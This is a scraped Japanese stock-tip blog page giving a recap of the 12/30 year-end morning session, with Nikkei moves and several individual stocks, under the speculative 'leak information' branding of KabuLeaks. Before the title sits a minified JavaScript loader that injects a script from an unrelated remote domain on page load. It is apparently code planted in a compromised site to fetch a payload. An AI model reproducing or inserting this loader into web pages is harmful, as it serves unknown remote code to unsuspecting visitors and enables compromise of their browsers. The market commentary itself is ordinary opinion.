;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/30 大納会 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【12/30 大納会 前引け】

前場の日経平均株価は77円安と3日続落。米株安や円高背景に売りが先行。売り一巡後はしばらくもみ合うも押し目買いに下げ幅を縮小した。日銀によるETF買いも意識されたかと思う。

個別では、寄り付きから小型株の一角、仕手株【9927】ワットマンに短期資金が流入し、急騰したほか、エアバック問題、米司法省との和解協議大詰めと一部報道の【7312】タカタがストップ高となった。また、17年2月期第3四半期の決算を好感の【3366】一六堂やいちよし経済研究所がレーティングを新規「A」フェアバリューは3000円との強気判断をした【4572】カルナバイオなどが大幅高に。

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後場日銀によるETF買いを意識。日経平均は一時は節目の1万9000円割れるも再度1万9000円を回復。このラインで下値サポートが効いていると思われる。引き続き物色は中小型株、IPOなど値幅取りを継続しつつ、主力も打診程度、押し目拾うのも悪くないかと思う。